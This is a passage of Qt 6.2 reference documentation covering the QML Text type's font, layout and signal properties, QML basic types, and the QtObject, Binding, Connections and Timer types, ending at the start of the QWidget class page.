Text { text: "Hello"; renderType: Text.NativeRendering; font.hintingPreference: Font.PreferVerticalHinting }
```
 This property was introduced in Qt 5.8.

 ###  font.italic : [bool](qml-bool)

 Sets whether the font has an italic style.

 ###  [since 5.10] font.kerning : [bool](qml-bool)

 Enables or disables the kerning OpenType feature when shaping the text. Disabling this may improve performance when creating or changing the text, at the expense of some cosmetic features. The default value is true.

 
```
Text { text: "OATS FLAVOUR WAY"; font.kerning: false }
```
 This property was introduced in Qt 5.10.

 ###  font.letterSpacing : [real](qml-real)

 Sets the letter spacing for the font.

 Letter spacing changes the default spacing between individual letters in the font. A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.

 ###  font.pixelSize : [int](qml-int)

 Sets the font size in pixels.

 Using this function makes the font device dependent. Use `pointSize` to set the size of the font in a device independent manner.

 ###  font.pointSize : [real](qml-real)

 Sets the font size in points. The point size must be greater than zero.

 ###  [since 5.10] font.preferShaping : [bool](qml-bool)

 Sometimes, a font will apply complex rules to a set of characters in order to display them correctly. In some writing systems, such as Brahmic scripts, this is required in order for the text to be legible, but in e.g. Latin script, it is merely a cosmetic feature. Setting the `preferShaping` property to false will disable all such features when they are not required, which will improve performance in most cases.

 The default value is true.

 
```
Text { text: "Some text"; font.preferShaping: false }
```
 This property was introduced in Qt 5.10.

 ###  font.strikeout : [bool](qml-bool)

 Sets whether the font has a strikeout style.

 ###  [since 5.6] font.styleName : [string](qml-string)

 Sets the style name of the font.

 The style name is case insensitive. If set, the font will be matched against style name instead of the font properties [font.weight](qml-qtquick-text#font.weight-prop), [font.bold](qml-qtquick-text#font.bold-prop) and [font.italic](qml-qtquick-text#font.italic-prop).

 This property was introduced in Qt 5.6.

 ###  font.underline : [bool](qml-bool)

 Sets whether the text is underlined.

 ###  font.weight : [int](qml-int)

 The requested weight of the font. The weight requested must be an integer between 1 and 1000, or one of the predefined values:

 * Font.Thin
* Font.Light
* Font.ExtraLight
* Font.Normal - the default
* Font.Medium
* Font.DemiBold
* Font.Bold
* Font.ExtraBold
* Font.Black

 
```
Text { text: "Hello"; font.weight: Font.DemiBold }
```
 ###  font.wordSpacing : [real](qml-real)

 Sets the word spacing for the font.

 Word spacing changes the default spacing between individual words. A positive value increases the word spacing by a corresponding amount of pixels, while a negative value decreases the inter-word spacing accordingly.

 ###  [since 5.9] fontInfo.bold : [bool](qml-bool)

 The bold state of the font info that has been resolved for the current font and [fontSizeMode](qml-qtquick-text#fontSizeMode-prop). This is true if the weight of the resolved font is bold or higher.

 This property was introduced in Qt 5.9.

 ###  [since 5.9] fontInfo.family : [string](qml-string)

 The family name of the font that has been resolved for the current font and [fontSizeMode](qml-qtquick-text#fontSizeMode-prop).

 This property was introduced in Qt 5.9.

 ###  [since 5.9] fontInfo.italic : [bool](qml-bool)

 The italic state of the font info that has been resolved for the current font and [fontSizeMode](qml-qtquick-text#fontSizeMode-prop).

 This property was introduced in Qt 5.9.

 ###  [since 5.9] fontInfo.pixelSize : [string](qml-string)

 The pixel size of the font info that has been resolved for the current font and [fontSizeMode](qml-qtquick-text#fontSizeMode-prop).

 This property was introduced in Qt 5.9.

 ###  [since 5.9] fontInfo.pointSize : [real](qml-real)

 The pointSize of the font info that has been resolved for the current font and [fontSizeMode](qml-qtquick-text#fontSizeMode-prop).

 This property was introduced in Qt 5.9.

 ###  [since 5.9] fontInfo.styleName : [string](qml-string)

 The style name of the font info that has been resolved for the current font and [fontSizeMode](qml-qtquick-text#fontSizeMode-prop).

 This property was introduced in Qt 5.9.

 ###  [since 5.9] fontInfo.weight : [int](qml-int)

 The weight of the font info that has been resolved for the current font and [fontSizeMode](qml-qtquick-text#fontSizeMode-prop).

 This property was introduced in Qt 5.9.

 ###  fontSizeMode : [enumeration](qml-enumeration)

 This property specifies how the font size of the displayed text is determined. The possible values are:

 * Text.FixedSize (default) - The size specified by [font.pixelSize](qml-qtquick-text#font.pixelSize-prop) or [font.pointSize](qml-qtquick-text#font.pointSize-prop) is used.
* Text.HorizontalFit - The largest size up to the size specified that fits within the width of the item without wrapping is used.
* Text.VerticalFit - The largest size up to the size specified that fits the height of the item is used.
* Text.Fit - The largest size up to the size specified that fits within the width and height of the item is used.

 The font size of fitted text has a minimum bound specified by the [minimumPointSize](qml-qtquick-text#minimumPointSize-prop) or [minimumPixelSize](qml-qtquick-text#minimumPixelSize-prop) property and maximum bound specified by either the [font.pointSize](qml-qtquick-text#font.pointSize-prop) or [font.pixelSize](qml-qtquick-text#font.pixelSize-prop) properties.

 
```
Text { text: "Hello"; fontSizeMode: Text.Fit; minimumPixelSize: 10; font.pixelSize: 72 }
```
 If the text does not fit within the item bounds with the minimum font size the text will be elided as per the [elide](qml-qtquick-text#elide-prop) property.

 If the [textFormat](qml-qtquick-text#textFormat-prop) property is set to `Text.RichText`, this will have no effect at all as the property will be ignored completely. If [textFormat](qml-qtquick-text#textFormat-prop) is set to `Text.StyledText`, then the property will be respected provided there is no font size tags inside the text. If there are font size tags, the property will still respect those. This can cause it to not fully comply with the fontSizeMode setting.

 ###  [since 5.2] hoveredLink : [string](qml-string)

 This property contains the link string when the user hovers a link embedded in the text. The link must be in rich text or HTML format and the *hoveredLink* string provides access to the particular link.

 This property was introduced in Qt 5.2.

 **See also** [linkHovered](qml-qtquick-text#linkHovered-signal) and [linkAt](qml-qtquick-text#linkAt-method)().

 ###  lineCount : [int](qml-int)

 Returns the number of lines visible in the text item.

 This property is not supported for rich text.

 **See also** [maximumLineCount](qml-qtquick-text#maximumLineCount-prop).

 ###  lineHeight : [real](qml-real)

 Sets the line height for the text. The value can be in pixels or a multiplier depending on [lineHeightMode](qml-qtquick-text#lineHeightMode-prop).

 The default value is a multiplier of 1.0. The line height must be a positive value.

 ###  lineHeightMode : [enumeration](qml-enumeration)

 This property determines how the line height is specified. The possible values are:

 * Text.ProportionalHeight (default) - this sets the spacing proportional to the line (as a multiplier). For example, set to 2 for double spacing.
* Text.FixedHeight - this sets the line height to a fixed line height (in pixels).

 ###  linkColor : [color](qml-color)

 The color of links in the text.

 This property works with the StyledText [textFormat](qml-qtquick-text#textFormat-prop), but not with RichText. Link color in RichText can be specified by including CSS style tags in the text.

 ###  maximumLineCount : [int](qml-int)

 Set this property to limit the number of lines that the text item will show. If elide is set to Text.ElideRight, the text will be elided appropriately. By default, this is the value of the largest possible integer.

 This property is not supported for rich text.

 **See also** [lineCount](qml-qtquick-text#lineCount-prop) and [elide](qml-qtquick-text#elide-prop).

 ###  minimumPixelSize : [int](qml-int)

 This property specifies the minimum font pixel size of text scaled by the [fontSizeMode](qml-qtquick-text#fontSizeMode-prop) property.

 If the [fontSizeMode](qml-qtquick-text#fontSizeMode-prop) is Text.FixedSize or the [font.pixelSize](qml-qtquick-text#font.pixelSize-prop) is -1 this property is ignored.

 ###  minimumPointSize : [int](qml-int)

 This property specifies the minimum font point [size](qml-size) of text scaled by the [fontSizeMode](qml-qtquick-text#fontSizeMode-prop) property.

 If the [fontSizeMode](qml-qtquick-text#fontSizeMode-prop) is Text.FixedSize or the [font.pointSize](qml-qtquick-text#font.pointSize-prop) is -1 this property is ignored.

 ###  renderType : [enumeration](qml-enumeration)

 Override the default rendering type for this component.

 Supported render types are:

 * Text.QtRendering
* Text.NativeRendering

 Select Text.NativeRendering if you prefer text to look native on the target platform and do not require advanced features such as transformation of the text. Using such features in combination with the NativeRendering render type will lend poor and sometimes pixelated results.

 The default rendering type is determined by [QQuickWindow::textRenderType](qquickwindow#textRenderType)().

 ###  renderTypeQuality : [int](qml-int)

 Override the default rendering type quality for this component. This is a low-level customization which can be ignored in most cases. It currently only has an effect when [renderType](qml-qtquick-text#renderType-prop) is `Text.QtRendering`.

 The rasterization algorithm used by Text.QtRendering may give artifacts at large text sizes, such as sharp corners looking rounder than they should. If this is an issue for specific text items, increase the `renderTypeQuality` to improve rendering quality, at the expense of memory consumption.

 The `renderTypeQuality` may be any integer over 0, or one of the following predefined values

 * Text.DefaultRenderTypeQuality (default) = -1
* Text.LowRenderTypeQuality = 26
* Text.NormalRenderTypeQuality = 52
* Text.HighRenderTypeQuality = 104
* Text.VeryHighRenderTypeQuality = 208

 ###  style : [enumeration](qml-enumeration)

 Set an additional text style.

 Supported text styles are:

 * Text.Normal - the default
* Text.Outline
* Text.Raised
* Text.Sunken

 
```
Row {
    Text { font.pointSize: 24; text: "Normal" }
    Text { font.pointSize: 24; text: "Raised"; style: Text.Raised; styleColor: "#AAAAAA" }
    Text { font.pointSize: 24; text: "Outline";style: Text.Outline; styleColor: "red" }
    Text { font.pointSize: 24; text: "Sunken"; style: Text.Sunken; styleColor: "#AAAAAA" }
}
```
 ![]

 ###  styleColor : [color](qml-color)

 Defines the secondary color used by text styles.

 `styleColor` is used as the outline color for outlined text, and as the shadow color for raised or sunken text. If no style has been set, it is not used at all.

 
```
Text { font.pointSize: 18; text: "hello"; style: Text.Raised; styleColor: "gray" }
```
 **See also** [style](qml-qtquick-text#style-prop).

 ###  text : [string](qml-string)

 The text to display. Text supports both plain and rich text strings.

 The item will try to automatically determine whether the text should be treated as styled text. This determination is made using [Qt::mightBeRichText](qt-sub-qtgui#mightBeRichText)(). However, detection of Markdown is not automatic.

 **See also** [textFormat](qml-qtquick-text#textFormat-prop).

 ###  textFormat : [enumeration](qml-enumeration)

 The way the [text](qml-qtquick-text#text-prop) property should be displayed.

 Supported text formats are:

 

| Constant | Description |
| --- | --- |
| `Text.AutoText` | (default) detected via the [Qt::mightBeRichText](qt-sub-qtgui#mightBeRichText)() heuristic |
| `Text.PlainText` | all styling tags are treated as plain text |
| `Text.StyledText` | optimized basic rich text as in HTML 3.2 |
| `Text.RichText` | [a subset of HTML 4](richtext-html-subset) |
| `Text.MarkdownText` | [CommonMark](https://commonmark.org/help/) plus the [GitHub](https://guides.github.com/features/mastering-markdown/) extensions for tables and task lists (since 5.14) |

 If the text format is `Text.AutoText` the Text item will automatically determine whether the text should be treated as styled text. This determination is made using [Qt::mightBeRichText](qt-sub-qtgui#mightBeRichText)(), which can detect the presence of an HTML tag on the first line of text, but cannot distinguish Markdown from plain text.

 `Text.StyledText` is an optimized format supporting some basic text styling markup, in the style of HTML 3.2:

 
```
<b></b> - bold
<del></del> - strike out (removed content)
<s></s> - strike out (no longer accurate or no longer relevant content)
<strong></strong> - bold
<i></i> - italic
<br> - new line
<p> - paragraph
<u> - underlined text
<font color="color_name" size="1-7"></font>
<h1> to <h6> - headers
<a href=""> - anchor
<img src="" align="top,middle,bottom" width="" height=""> - inline images
<ol type="">, <ul type=""> and <li> - ordered and unordered lists
<pre></pre> - preformatted
All entities
```
 `Text.StyledText` parser is strict, requiring tags to be correctly nested.

 

|  |  |
| --- | --- |
| 
```
Column {
    Text {
        font.pointSize: 24
        text: "<b>Hello</b> <i>World!</i>"
    }
    Text {
        font.pointSize: 24
        textFormat: Text.RichText
        text: "<b>Hello</b> <i>World!</i>"
    }
    Text {
        font.pointSize: 24
        textFormat: Text.PlainText
        text: "<b>Hello</b> <i>World!</i>"
    }
    Text {
        font.pointSize: 24
        textFormat: Text.MarkdownText
        text: "**Hello** *World!*"
    }
}
```
 |  |

 `Text.RichText` supports a larger subset of HTML 4, as described on the [Supported HTML Subset](richtext-html-subset) page. You should prefer using `Text.PlainText`, `Text.StyledText` or `Text.MarkdownText` instead, as they offer better performance.

  **Note:** With `Text.MarkdownText`, and with the supported subset of HTML, some decorative elements are not rendered as they would be in a web browser:

  * code blocks use the [default monospace font](qfontdatabase#SystemFont-enum) but without a surrounding highlight box
* block quotes are indented, but there is no vertical line alongside the quote
* horizontal rules are not rendered

 ###  truncated : [bool](qml-bool)

 Returns true if the text has been truncated due to [maximumLineCount](qml-qtquick-text#maximumLineCount-prop) or [elide](qml-qtquick-text#elide-prop).

 This property is not supported for rich text.

 **See also** [maximumLineCount](qml-qtquick-text#maximumLineCount-prop) and [elide](qml-qtquick-text#elide-prop).

 ###  wrapMode : [enumeration](qml-enumeration)

 Set this property to wrap the text to the Text item's width. The text will only wrap if an explicit width has been set. wrapMode can be one of:

 * Text.NoWrap (default) - no wrapping will be performed. If the text contains insufficient newlines, then [contentWidth](qml-qtquick-text#contentWidth-prop) will exceed a set width.
* Text.WordWrap - wrapping is done on word boundaries only. If a word is too long, [contentWidth](qml-qtquick-text#contentWidth-prop) will exceed a set width.
* Text.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word.
* Text.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word.

 Signal Documentation
--------------------

 ###  lineLaidOut(object *line*)

 This signal is emitted for each line of text that is laid out during the layout process in plain text or styled text mode. It is not emitted in rich text mode. The specified *line* object provides more details about the line that is currently being laid out.

 This gives the opportunity to position and resize a line as it is being laid out. It can for example be used to create columns or lay out text around objects.

 The properties of the specified *line* object are:

 

| Property name | Description |
| --- | --- |
| number (read-only) | Line number, starts with zero. |
| x | Specifies the line's x position inside the `Text` element. |
| y | Specifies the line's y position inside the `Text` element. |
| width | Specifies the width of the line. |
| height | Specifies the height of the line. |
| implicitWidth (read-only) | The width that the line would naturally occupy based on its contents, not taking into account any modifications made to *width*. |
| isLast (read-only) | Whether the line is the last. This property can change if you set the *width* property to a different value. |

 For example, this will move the first 5 lines of a Text item by 100 pixels to the right:

 
```
onLineLaidOut: (line)=> {
    if (line.number < 5) {
        line.x = line.x + 100
        line.width = line.width - 100
    }
}
```
 The following example will allow you to position an item at the end of the last line:

 
```
onLineLaidOut: (line)=> {
    if (line.isLast) {
        lastLineMarker.x = line.x + line.implicitWidth
        lastLineMarker.y = line.y + (line.height - lastLineMarker.height) / 2
    }
}
```
 **Note:** The corresponding handler is `onLineLaidOut`.

 ###  linkActivated([string](qml-string) *link*)

 This signal is emitted when the user clicks on a link embedded in the text. The link must be in rich text or HTML format and the *link* string provides access to the particular link.

 
```
    Text {
            textFormat: Text.RichText
            text: "See the <a href=\"http://qt-project.org\">Qt Project website</a>."
            onLinkActivated: (link)=> console.log(link + " link activated")
    }
```
 The example code will display the text "See the [Qt Project website](http://qt-project.org)."

 Clicking on the highlighted link will output `http://qt-project.org link activated` to the console.

 **Note:** The corresponding handler is `onLinkActivated`.

 ###  `[since 5.2]` linkHovered([string](qml-string) *link*)

 This signal is emitted when the user hovers a link embedded in the text. The link must be in rich text or HTML format and the *link* string provides access to the particular link.

 **Note:** The corresponding handler is `onLinkHovered`.

 This signal was introduced in Qt 5.2.

 **See also** [hoveredLink](qml-qtquick-text#hoveredLink-prop) and [linkAt](qml-qtquick-text#linkAt-method)().

 Method Documentation
--------------------

 ###  `[since 5.9]` forceLayout()

 Triggers a re-layout of the displayed text.

 This method was introduced in Qt 5.9.

 ###  `[since 5.3]` linkAt([real](qml-real) *x*, [real](qml-real) *y*)

 Returns the link string at point *x*, *y* in content coordinates, or an empty string if no link exists at that point.

 This method was introduced in Qt 5.3.

 **See also** [hoveredLink](qml-qtquick-text#hoveredLink-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-text.html>

QML Basic Types
===============

 QML supports a number of basic types.

 A *basic type* is one that refers to a simple value, such as an `int` or a `string`. This contrasts with a [QML Object Types](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html#qml-object-types), which refers to an object with properties, signals, methods and so on. Unlike an object type, a basic type cannot be used to declare QML objects: it is not possible, for example, to declare an `int{}` object or a `size{}` object.

 Basic types can be used to refer to:

 * A single value (e.g. [int](qml-int) refers to a single number, [var](qml-var) can refer to a single list of items)
* A value that contains a simple set of property-value pairs (e.g. [size](qml-size) refers to a value with `width` and `height` attributes)

 When a variable or property holds a basic type and it is assigned to another variable or property, then a copy of the value is made. In JavaScript, this value is called a primitive value.

 Supported Basic Types
---------------------

 Some basic types are supported by the engine by default and do not require an [import statement](qtqml-syntax-imports) to be used, while others do require the client to import the module which provides them. All of the basic types listed below may be used as a `property` type in a QML document, with the following exceptions:

 * `list` must be used in conjunction with a QML object type
* `enumeration` cannot be used directly as the enumeration must be defined by a registered QML object type

 ### Basic Types Provided By The QML Language

 The basic types supported natively in the QML language are listed below: 




|  |  |
| --- | --- |
| [bool](qml-bool) | Binary true/false value |
| [double](qml-double) | Number with a decimal point, stored in double precision |
| [enumeration](qml-enumeration) | Named enumeration value |
| [int](qml-int) | Whole number, e.g. 0, 10, or -20 |
| [list](qml-list) | List of QML objects |
| [real](qml-real) | Number with a decimal point |
| [string](qml-string) | Free form text string |
| [url](qml-url) | Resource locator |
| [var](qml-var) | Generic property type |

 ### Basic Types Provided By QML Modules

 QML modules may extend the QML language with more basic types. For example, the basic types provided by the `QtQuick` module are listed below: 




|  |
| --- |
| [color](qml-color) |
| [date](qml-date) | Date value |
| [font](qml-font) |
| [matrix4x4](qml-matrix4x4) |
| [point](qml-point) | Value with x and y attributes |
| [quaternion](qml-quaternion) |
| [rect](qml-rect) | Value with x, y, width and height attributes |
| [size](qml-size) | Value with width and height attributes |
| [vector2d](qml-vector2d) |
| [vector3d](qml-vector3d) |
| [vector4d](qml-vector4d) |

 The [Qt](qml-qtqml-qt) global object provides useful functions for manipulating values of basic types.

 Currently only QML modules which are provided by Qt may provide their own basic types, however this may change in future releases of Qt QML. In order to use types provided by a particular QML module, clients must import that module in their QML documents.

 Property Change Behavior for Basic Types
----------------------------------------

 Some basic types have properties: for example, the [font](qml-font) type has `pixelSize`, `family` and `bold` properties. Unlike properties of [object types](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html#qml-object-types), properties of basic types do not provide their own property change signals. It is only possible to create a property change signal handler for the basic type property itself:

 
```
Text {
    // invalid!
    onFont.pixelSizeChanged: doSomething()

    // also invalid!
    font {
        onPixelSizeChanged: doSomething()
    }

    // but this is ok
    onFontChanged: doSomething()
}
```
 Be aware, however, that a property change signal for a basic type is emitted whenever *any* of its attributes have changed, as well as when the property itself changes. Take the following code, for example:

 
```
Text {
    onFontChanged: console.log("font changed")

    Text { id: otherText }

    focus: true

    // changing any of the font attributes, or reassigning the property
    // to a different font value, will invoke the onFontChanged handler
    Keys.onDigit1Pressed: font.pixelSize += 1
    Keys.onDigit2Pressed: font.b = !font.b
    Keys.onDigit3Pressed: font = otherText.font
}
```
 In contrast, properties of an [object type](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html#qml-object-types) emit their own property change signals, and a property change signal handler for an object-type property is only invoked when the property is reassigned to a different object value.

 **See also** [The QML Type System](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-typesystem-basictypes.html>

QtObject QML Type
=================

 A basic QML type. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |
|  Instantiates: | [QObject](qobject) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-qtobject-members.html)

 Properties
----------

 * **[objectName](qml-qtqml-qtobject#objectName-prop)** : string

 Detailed Description
--------------------

 The QtObject type is a non-visual element which contains only the [objectName](qml-qtqml-qtobject#objectName-prop) property.

 It can be useful to create a QtObject if you need an extremely lightweight type to enclose a set of custom properties:

 
```
import QtQuick 2.0

Item {
    QtObject {
        id: attributes
        property string name
        property int size
        property variant attributes
    }

    Text { text: attributes.name }
}
```
 It can also be useful for C++ integration, as it is just a plain [QObject](qobject). See the [QObject](qobject) documentation for further details.

 Property Documentation
----------------------

 ###  objectName : [string](qml-string)

 This property holds the [QObject::objectName](qobject#objectName-prop) for this specific object instance.

 This allows a C++ application to locate an item within a QML component using the [QObject::findChild](qobject#findChild)() method. For example, the following C++ application locates the child [Rectangle](qml-qtquick-rectangle) item and dynamically changes its `color` value:

 
```
// MyRect.qml

import QtQuick 2.0

Item {
    width: 200; height: 200

    Rectangle {
        anchors.fill: parent
        color: "red"
        objectName: "myRect"
    }
}
```
 
```
// main.cpp

QQuickView view;
view.setSource(QUrl::fromLocalFile("MyRect.qml"));
view.show();

QQuickItem *item = view.rootObject()->findChild<QQuickItem*>("myRect");
if (item)
    item->setProperty("color", QColor(Qt::yellow));
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-qtobject.html>

Binding QML Type
================

 Enables the arbitrary creation of property bindings. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-binding-members.html)

 Properties
----------

 * **[delayed](qml-qtqml-binding#delayed-prop)** : bool
* **[property](qml-qtqml-binding#property-prop)** : string
* **[restoreMode](qml-qtqml-binding#restoreMode-prop)** : enumeration
* **[target](qml-qtqml-binding#target-prop)** : Object
* **[value](qml-qtqml-binding#value-prop)** : any
* **[when](qml-qtqml-binding#when-prop)** : bool

 Detailed Description
--------------------

 In QML, property bindings result in a dependency between the properties of different objects.

 Binding to an Inaccessible Property
-----------------------------------

 Sometimes it is necessary to bind an object's property to that of another object that isn't directly instantiated by QML, such as a property of a class exported to QML by C++. You can use the Binding type to establish this dependency; binding any value to any object's property.

 For example, in a C++ application that maps an "app.enteredText" property into QML, you can use Binding to update the enteredText property.

 
```
TextEdit { id: myTextField; text: "Please type here..." }
Binding { target: app; property: "enteredText"; value: myTextField.text }
```
 When `text` changes, the C++ property `enteredText` will update automatically.

 Conditional Bindings
--------------------

 In some cases you may want to modify the value of a property when a certain condition is met but leave it unmodified otherwise. Often, it's not possible to do this with direct bindings, as you have to supply values for all possible branches.

 For example, the code snippet below results in a warning whenever you release the mouse. This is because the value of the binding is undefined when the mouse isn't pressed.

 
```
// produces warning: "Unable to assign [undefined] to double value"
value: if (mouse.pressed) mouse.mouseX
```
 The Binding type can prevent this warning.

 
```
Binding on value {
    when: mouse.pressed
    value: mouse.mouseX
}
```
 The Binding type restores any previously set direct bindings on the property.

 **See also** [Qt QML](qtqml-index).

 Property Documentation
----------------------

 ###  [since 5.8] delayed : [bool](qml-bool)

 This property holds whether the binding should be delayed.

 A delayed binding will not immediately update the target, but rather wait until the event queue has been cleared. This can be used as an optimization, or to prevent intermediary values from being assigned.

 
```
Binding {
    target: contactName; property: 'text'
    value: givenName + " " + familyName; when: list.ListView.isCurrentItem
    delayed: true
}
```
 This property was introduced in Qt 5.8.

 ###  property : [string](qml-string)

 The property to be updated.

 This can be a group property if the expression results in accessing a property of a [value type](qtqml-typesystem-basictypes). For example:

 
```
Item {
    id: item

    property rect rectangle: Qt.rect(0, 0, 200, 200)
}

Binding {
    target: item
    property: "rectangle.x"
    value: 100
}
```
 ###  [since 5.14] restoreMode : [enumeration](qml-enumeration)

 This property can be used to describe if and how the original value should be restored when the binding is disabled.

 The possible values are:

 * Binding.RestoreNone The original value is not restored at all
* Binding.RestoreBinding The original value is restored if it was another binding. In that case the old binding is in effect again.
* Binding.RestoreValue The original value is restored if it was a plain value rather than a binding.
* Binding.RestoreBindingOrValue The original value is always restored.

 The default value is `Binding.RestoreBindingOrValue`.

  **Note:** This property exists for backwards compatibility with earlier versions of Qt. Don't use it in new code.

  This property was introduced in Qt 5.14.

 ###  target : Object

 The object to be updated.

 ###  value : any

 The value to be set on the target object and property. This can be a constant (which isn't very useful), or a bound expression.

 ###  when : [bool](qml-bool)

 This property holds when the binding is active. This should be set to an expression that evaluates to true when you want the binding to be active.

 
```
Binding {
    target: contactName; property: 'text'
    value: name; when: list.ListView.isCurrentItem
}
```
 By default, any binding or value that was set perviously is restored when the binding becomes inactive. You can customize the restoration behavior using the [restoreMode](qml-qtqml-binding#restoreMode-prop) property.

 **See also** [restoreMode](qml-qtqml-binding#restoreMode-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-binding.html>

Connections QML Type
====================

 Describes generalized connections to signals. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-connections-members.html)

 Properties
----------

 * **[enabled](qml-qtqml-connections#enabled-prop)** : bool
* **[ignoreUnknownSignals](qml-qtqml-connections#ignoreUnknownSignals-prop)** : bool
* **[target](qml-qtqml-connections#target-prop)** : Object

 Detailed Description
--------------------

 A Connections object creates a connection to a QML signal.

 When connecting to signals in QML, the usual way is to create an "on<Signal>" handler that reacts when a signal is received, like this:

 
```
MouseArea {
    onClicked: (mouse)=> { foo(mouse) }
}
```
 However, it is not possible to connect to a signal in this way in some cases, such as when:

 * Multiple connections to the same signal are required
* Creating connections outside the scope of the signal sender
* Connecting to targets not defined in QML

 When any of these are needed, the Connections type can be used instead.

 For example, the above code can be changed to use a Connections object, like this:

 
```
MouseArea {
    Connections {
        function onClicked(mouse) { foo(mouse) }
    }
}
```
 More generally, the Connections object can be a child of some object other than the sender of the signal:

 
```
MouseArea {
    id: area
}
// ...
```
 
```
Connections {
    target: area
    function onClicked(mouse) { foo(mouse) }
}
```
 **See also** [Qt QML](qtqml-index).

 Property Documentation
----------------------

 ###  [since 5.7] enabled : [bool](qml-bool)

 This property holds whether the item accepts change events.

 By default, this property is `true`.

 This property was introduced in Qt 5.7.

 ###  ignoreUnknownSignals : [bool](qml-bool)

 Normally, a connection to a non-existent signal produces runtime errors.

 If this property is set to `true`, such errors are ignored. This is useful if you intend to connect to different types of objects, handling a different set of signals for each object.

 ###  target : Object

 This property holds the object that sends the signal.

 If this property is not set, the `target` defaults to the parent of the Connection.

 If set to null, no connection is made and any signal handlers are ignored until the target is not null.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-connections.html>

Timer QML Type
==============

 Triggers a handler at a specified interval. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-timer-members.html)

 Properties
----------

 * **[interval](qml-qtqml-timer#interval-prop)** : int
* **[repeat](qml-qtqml-timer#repeat-prop)** : bool
* **[running](qml-qtqml-timer#running-prop)** : bool
* **[triggeredOnStart](qml-qtqml-timer#triggeredOnStart-prop)** : bool

 Signals
-------

 * **[triggered](qml-qtqml-timer#triggered-signal)**()

 Methods
-------

 * **[restart](qml-qtqml-timer#restart-method)**()
* **[start](qml-qtqml-timer#start-method)**()
* **[stop](qml-qtqml-timer#stop-method)**()

 Detailed Description
--------------------

 A Timer can be used to trigger an action either once, or repeatedly at a given interval.

 Here is a Timer that shows the current date and time, and updates the text every 500 milliseconds. It uses the JavaScript `Date` object to access the current time.

 
```
import QtQuick 2.0

Item {
    Timer {
        interval: 500; running: true; repeat: true
        onTriggered: time.text = Date().toString()
    }

    Text { id: time }
}
```
 The Timer type is synchronized with the animation timer. Since the animation timer is usually set to 60fps, the resolution of Timer will be at best 16ms.

 If the Timer is running and one of its properties is changed, the elapsed time will be reset. For example, if a Timer with interval of 1000ms has its *repeat* property changed 500ms after starting, the elapsed time will be reset to 0, and the Timer will be triggered 1000ms later.

 **See also** [Qt Quick Demo - Clocks](https://doc.qt.io/qt-6.2/qtdoc-demos-clocks-example.html).

 Property Documentation
----------------------

 ###  interval : [int](qml-int)

 Sets the *interval* between triggers, in milliseconds.

 The default interval is 1000 milliseconds.

 ###  repeat : [bool](qml-bool)

 If *repeat* is true the timer is triggered repeatedly at the specified interval; otherwise, the timer will trigger once at the specified interval and then stop (i.e. running will be set to false).

 *repeat* defaults to false.

 **See also** [running](qml-qtqml-timer#running-prop).

 ###  running : [bool](qml-bool)

 If set to true, starts the timer; otherwise stops the timer. For a non-repeating timer, *running* is set to false after the timer has been triggered.

 *running* defaults to false.

 **See also** [repeat](qml-qtqml-timer#repeat-prop).

 ###  triggeredOnStart : [bool](qml-bool)

 When a timer is started, the first trigger is usually after the specified interval has elapsed. It is sometimes desirable to trigger immediately when the timer is started; for example, to establish an initial state.

 If *triggeredOnStart* is true, the timer is triggered immediately when started, and subsequently at the specified interval. Note that if *repeat* is set to false, the timer is triggered twice; once on start, and again at the interval.

 *triggeredOnStart* defaults to false.

 **See also** [running](qml-qtqml-timer#running-prop).

 Signal Documentation
--------------------

 ###  triggered()

 This signal is emitted when the Timer times out.

 **Note:** The corresponding handler is `onTriggered`.

 Method Documentation
--------------------

 ###  restart()

 Restarts the timer

 If the Timer is not running it will be started, otherwise it will be stopped, reset to initial state and started. The `running` property will be true following a call to `restart()`.

 ###  start()

 Starts the timer

 If the timer is already running, calling this method has no effect. The `running` property will be true following a call to `start()`.

 ###  stop()

 Stops the timer

 If the timer is not running, calling this method has no effect. The `running` property will be false following a call to `stop()`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-timer.html>

QWidget Class
=============

 The QWidget class is the base class of all user interface objects. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QWidget> |
|  CMake: |  find\_package(Qt6 COMPONENTS Widgets REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Widgets) |
|  qmake: |  QT += widgets |
|  Inherits: | [QObject](qobject) and [QPaintDevice](qpaintdevice) |
